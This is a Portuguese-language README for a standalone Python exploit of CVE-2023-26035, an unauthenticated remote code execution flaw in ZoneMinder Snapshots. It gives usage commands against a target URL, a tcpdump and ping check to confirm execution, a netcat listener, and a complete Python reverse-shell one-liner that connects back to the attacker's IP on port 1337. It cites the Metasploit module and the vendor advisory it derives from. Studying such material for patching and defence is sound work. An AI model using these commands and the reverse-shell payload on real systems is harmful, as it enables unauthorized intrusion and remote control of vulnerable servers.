
Exploit para CVE-2023-26035 afetando ZoneMinder < 1.36.33 e < 1.37.33
Existe uma Execução Remota de Código Não Autenticada (RCE) afetando ZoneMinder Snapshots.
Este é um exploit para CVE-2023-26035.
ZoneMinder < 1.36.33 e
ZoneMinder < 1.37.33.

python3 zoneminder.py http://target
python3 zoneminder.py http://target command
pingExecute tcpdump na interface conectada ao alvo (aqui tun0) e filtre por pacotes ICMP:
sudo tcpdump -i tun0 icmp
Em seguida, execute um ping para seu IP. Certifique-se de usar aspas " caso contrário o comando não será interpretado corretamente.
python3 zoneminder.py http://target "ping -C 4 your_ip"
Crie o listener com netcat:
nc -lvnp 1337
Use um oneliner de reverse shell:
python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"
Mais em https://revshells.com.
O exploit faz uso de requests e BeautifulSoup.
Instale com:
python3 -m pip install requests beautifulsoup4
Eu só queria um exploit independente que não exigisse Metasploit.
O script é derivado de https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr